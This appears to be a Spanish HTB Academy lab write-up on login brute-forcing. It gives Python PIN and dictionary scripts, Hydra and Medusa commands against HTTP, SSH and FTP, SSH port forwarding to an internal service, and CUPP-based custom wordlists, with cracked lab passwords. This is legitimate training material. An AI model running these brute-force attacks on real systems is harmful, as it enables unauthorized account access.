module

Introducción

Este módulo forma parte del path de estudio para la CPTS. Resolveremos los ejercicios propuestos, pero ofuscaremos las flags para evitar spoilers.

Brute Force Attacks

Un ataque de fuerza bruta puro prueba sistemáticamente todas las combinaciones posibles de caracteres dentro de un conjunto y una longitud predeterminada. Si bien este enfoque garantiza el éxito final si se cuenta con el tiempo suficiente, puede consumir mucho tiempo.

Question: After successfully brute-forcing the PIN, what is the full flag the script returns?

Se nos presenta una aplicación que genera un PIN random de 4 dígitos y lo expone en /pin. Si el PIN proporcionado como parámetro coincide con el generado, la aplicación responde con un mensaje de success y una flag. Caso contrario, devuelve un mensaje de error.

Se utiliza el siguiente script en Python para probar todas las combinaciones (0000 a 9999):

#!/usr/bin/python3

import requests

ip = "94.237.63.132"
port = 50693

# Try every possible 4-digit PIN (from 0000 to 9999)
for pin in range(10000):
    formatted_pin = f"{pin:04d}"  # Convert the number to a 4-digit string (e.g., 7 becomes "0007")
    print(f"Attempted PIN: {formatted_pin}")

    response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")

    # Check if the server responds with success and the flag is found
    if response.ok and 'flag' in response.json():  # .ok means status code is 200 (success)
        print(f"Correct PIN found: {formatted_pin}")
        print(f"Flag: {response.json()['flag']}")
        break

En este caso, el PIN que devuelve un success es el 4962 y podemos ver la flag:

Attempting PIN: 4953
Attempting PIN: 4954
Attempting PIN: 4955
Attempting PIN: 4956
Attempting PIN: 4957
Attempting PIN: 4958
Attempting PIN: 4959
Attempting PIN: 4960
Attempting PIN: 4961
Attempting PIN: 4962
Correct PIN found: 4962
Flag: HTB{Brut3_F0***************}

Dictionary Attacks

Emplea una lista precompilada de palabras y frases, lo que reduce drásticamente el espacio de búsqueda. Una lista de palabras bien diseñada y adaptada al sistema objetivo aumenta significativamente la probabilidad de éxito del ataque.

Question: After successfully brute-forcing the target using the script, what is the full flag the script returns?

En esta ocasión, estaremos empleando un diccionario de SecLists y el siguiente script:

import requests

ip = "83.136.255.120"
port = 45926

passwords = requests.get("https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/500-worst-passwords.txt").text.splitlines()

for password in passwords:
    print(f"Attempted password: {password}")

    # Send a POST request to the server with the password
    response = requests.post(f"http://{ip}:{port}/dictionary", data={'password': password})

    # Check if the server responds with success and contains the 'flag'
    if response.ok and 'flag' in response.json():
        print(f"Correct password found: {password}")
        print(f"Flag: {response.json()['flag']}")
        break
Attempted password: tiffany
Attempted password: zxcvbn
Attempted password: tomcat
Attempted password: golf
Attempted password: bond007
Attempted password: bear
Attempted password: tiger
Attempted password: doctor
Attempted password: gateway
Correct password found: gateway
Flag: HTB{Brut3_F***********}

Hydra

Basic HTTP Authentication

En una autenticación HTTP básica, el proceso comienza cuando un usuario intenta acceder a un área restringida. El servidor responde con un estado 401 Unauthorized y un header WWW-Authenticate que solicita al browser del usuario que presente un login.

Una vez que el usuario proporciona su nombre de usuario y contraseña, el browser los concatena en una sola cadena, separados por dos puntos. Esta cadena se codifica luego con Base64 y se incluye en el Authorization header de las request posteriores. El servidor decodifica las credenciales, las verifica con su base de datos y otorga o deniega el acceso según corresponda.

Los headers para una autenticación HTTP básica se ven de la siguiente manera:

GET /protected_resource HTTP/1.1
Host: www.example.com
Authorization: Basic YWxpY2U6c2VjcmV0MTIz

Question: After successfully brute-forcing, and then logging into the target, what is the full flag you find?

Usaremos el servicio http-get de Hydra para realizar brute force a una instancia que utiliza una autenticación HTTP básica. Sabemos que el nombre del usuario es basic-auth-user, por lo que solo necesitamos obtener la contraseña:

hydra -l basic-auth-user -P /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt 94.237.58.249 http-get / -s 58449

question3

Con estas credenciales, ingresamos a la web, nos logueamos y obtenemos la flag.

Login Forms

Cuando estamos ante un formulario de login, la data se tramita por POST. Ejemplo:

POST /login HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=john&password=secret123

Cuando un usuario interactúa con un formulario de inicio de sesión, su browser se encarga del procesamiento inicial. El navegador captura las credenciales ingresadas, a menudo empleando JavaScript para la validación del lado del cliente o la limpieza de la entrada. Una vez enviado, el browser construye una solicitud HTTP POST. Esta solicitud encapsula los datos del formulario (incluido el nombre de usuario y la contraseña) dentro de su cuerpo, a menudo codificado como application/x-www-form-urlencoded o multipart/form-data.

Question: After successfully brute-forcing, and then logging into the target, what is the full flag you find?

Al ingresar al sitio, vemos un panel de login. Inicialmente, vamos a intentar loguear con las credenciales admin/admin y vamos a capturar la request con Burpsuite para ver cómo se tramita la data y qué respuesta obtenemos ante un login fallido:

question4

Vemos que los campos de interes se llaman username y password, y en la respuesta el mensaje "Invalid credentials". Usaremos esto para construir el comando de Hydra:

hydra -L /usr/share/SecLists/Usernames/top-usernames-shortlist.txt -P /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt 94.237.52.112 -s 39882 http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials"

question4

Nos logueamos y obtenemos la flag.

Medusa

Web Services

Question: What was the password for the ftpuser?

Inicialmente, se nos brinda la IP, puerto y el usuario sshuser, por lo tanto, utilizaremos medusa para realizar brute force y obtener la contraseña de ese usuario.

medusa -h 94.237.63.132 -n 36839 -u sshuser -P /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt -M ssh -t 3

ACCOUNT FOUND: [ssh] Host: 94.237.63.132 User: sshuser Password: 1q2w3e4r5t [SUCCESS]

Nos logueamos con estas credenciales y con netcat vemos qué otros servicios están corriendo:

sshuser@ng-1531019-loginbfservice-gfpzj-5d56679d8-qqmrt:~$ netstat -tulpn | grep LISTEN

tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -   

Si bien vemos un servicio corriendo en el puerto 21, no es accesible por fuera:

question5

Lo que haremos, será realizar un port forwarding para que el puerto 4444 de mi máquina atacante, corresponda con el puerto 21 de la máquia víctima:

ssh -L 4444:localhost:21 sshuser@94.237.63.132 -p 36839

Si ahora escaneamos ese puerto de mi máquina, vemos que correspodne al servicio FTP de la máquia víctima:

question5

Ahora si, utilizaremos medusa para obtener las credenciales del usuario ftpuser:

medusa -h 127.0.0.1 -u ftpuser -P /usr/share/SecLists/Passwords/2020-200_most_used_passwords.txt -M ftp -n 4444 -t 3

ACCOUNT FOUND: [ftp] Host: 127.0.0.1 User: ftpuser Password: qqww1122 [SUCCESS]

Ahora nos conectamos y vemos que existe el archivo flag.txt. Su contenido es la clave para completar el ejercicio.

sshuser@ng-1531019-loginbfservice-gfpzj-5d56679d8-qqmrt:~$ ftp ftpuser@127.0.0.1
Connected to 127.0.0.1.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
No entry for terminal type "xterm-kitty";
using dumb terminal settings.
ftp> ls
229 Entering Extended Passive Mode (|||40341|)
150 Here comes the directory listing.
-rw-------    1 1001     1001           35 Nov 27 13:44 flag.txt
226 Directory send OK.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||58933|)
150 Opening BINARY mode data connection for flag.txt (35 bytes).
100% |*********************************************************************************************************************************************|    35      794.87 KiB/s    00:00 ETA
226 Transfer complete.
35 bytes received in 00:00 (153.27 KiB/s)
ftp> exit
221 Goodbye.

Custom Wordlists

Tener wordlists adaptados al objetivo puede aumentar significativamente el éxito del ataque. En este ejercicio, se nos propone customizar los diccionarios para usernames y passwords, partiendo del usuario Jane Smith.

Question: After successfully brute-forcing, and then logging into the target, what is the full flag you find?

Username Anarchy

Nos permite crear un listado de usernames con variantes, partiendo de un nombre.

git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy Jane Smith > jane_smith_usernames.txt

Output:

jane
janesmith
jane.smith
janesmit
janes
j.smith
jsmith
sjane
s.jane
smithj
smith
smith.j
smith.jane
js

CUPP

CUPP (Common User Passwords Profiler) es una herramienta diseñada para crear wordlists de contraseñas personalizadas que aprovechan la información recopilada sobre el objetivo. Podemos recopiar información de redes sociales, sitios webs de la compañía, artículos, blogs, etc. En este caso, se nos ofrece la información en el propio ejercicio.

Lo ejecutamos de la siguiente manera, y nos irá haciendo preguntas donde podremos insertar la información recopilada:

cupp -i
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: Jane
> Surname: Smith
> Nickname: Janey
> Birthdate (DDMMYYYY): 11121990


> Partners) name: Jim
> Partners) nickname: Jimbo
> Partners) birthdate (DDMMYYYY): 12121990


> Child's name: 
> Child's nickname: 
> Child's birthdate (DDMMYYYY): 


> Pet's name: Spot
> Company name: AHI


> Do you want to add some key words about the victim? Y/[N]: Y
> Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: hackers,pizza,golf,horses,blue
> Do you want to add special chars at the end of words? Y/[N]: Y
> Do you want to add some random numbers at the end of words? Y/[N]:Y
> Leet mode? (i.e. leet = 1337) Y/[N]: Y

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to jane.txt, counting 54478 words.
[+] Now load your pistolero with jane.txt and shoot! Good luck!

Esto nos genera un diccionario de 54477 líneas.

Password Policy

Por otro lado, se nos brinda la política de contraseñas, la cual comprende:

  • Minimum Length: 6 characters
  • Include at least one uppercase letter
  • Include at least one lowercase letter
  • Include at least one number
  • Include at least two special characters (from the set !@#$%^&*)

Filtraremos el contenido del diccionario generado por CUPP para solo quedarnos con las contraseñas que cumplan esta política de seguridad y guardaremos el output en un nuevo diccionario:

grep -E '^.{6,}$' jane.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' | grep -E '([!@#$%^&*].*){2,}' > jane-filtered.txt

La cantidad de líneas se redujo a 8604.

Brute Force

Ahora si, utilizaremos los diccionarios customizados de usuarios y contraseñas para realizar un ataque de fuerza bruta al panel de login del sitio:

hydra -L jane_smith_usernames.txt -P jane-filtered.txt 94.237.58.249 -s 43711 -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials"

question6

Nos logueamos y obtenemos la flag.

Skills Assessment Part 1

Question: What is the password for the basic auth login?

Se nos ofrece un sitio que tiene una autenticación HTTP básica. Realizaremos un ataque de fuerza bruta con Hydra para obtener usuario y contraseña:

hydra -L /usr/share/SecLists/Usernames/top-usernames-shortlist.txt -P /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt 94.237.63.132 http-get / -s 42167

skillassessment

Question: After successfully brute forcing the login, what is the username you have been given for the next part of the skills assessment?

Al loguearnos, se nos brinda un username que necesitamos para el próximo ejercicio:

skillassessment

Skills Assessment Part 2

Question: What is the username of the ftp user you find via brute-forcing?

Al igual que antes, el puerto 21 no está abierto en el objetivo. Aprovechando que tenemos un usuario válido, intentaremos realizar brute force sobre la IP dada:

hydra -l satwossh -P /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt ssh://94.237.63.132:34939

Obtenemos la contraseña:

skillassessment

Nos conectamos vía SSH y observamos que internamente el puerto si está abierto:

satwossh@ng-1531019-loginbfsatwo-obo14-7777549f94-m4994:~$ netstat -tulpn | grep LISTEN
(No info could be read for "-p": geteuid()=1000 but you should be root.)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   

Si listamos el contenido vemos tres archivos: IncidentReport.txt, passwords.txt, username-anarchy. El primer archivo nos brinda una pista de que la persona que utiliza FTP es Thomas Smith. Como tenemos en el mismo equipo la herramienta username-anarchy, generaremos una lista de posibles usuarios en base a esto:

./username-anarchy "Thomas Smith" > thomas_usernames.txt

Ahora utilizaremos Hydra con este listado de usuarios y el listado de contraseñas que se nos ofrece:

hydra -L username-anarchy/thomas_usernames.txt -P passwords.txt ftp://127.0.0.1 

Obtenemos la contraseña:

skillassessment

Nos conectamos al servicio FTP y leemos la última flag.


Published

Category

HTB Academy

Tags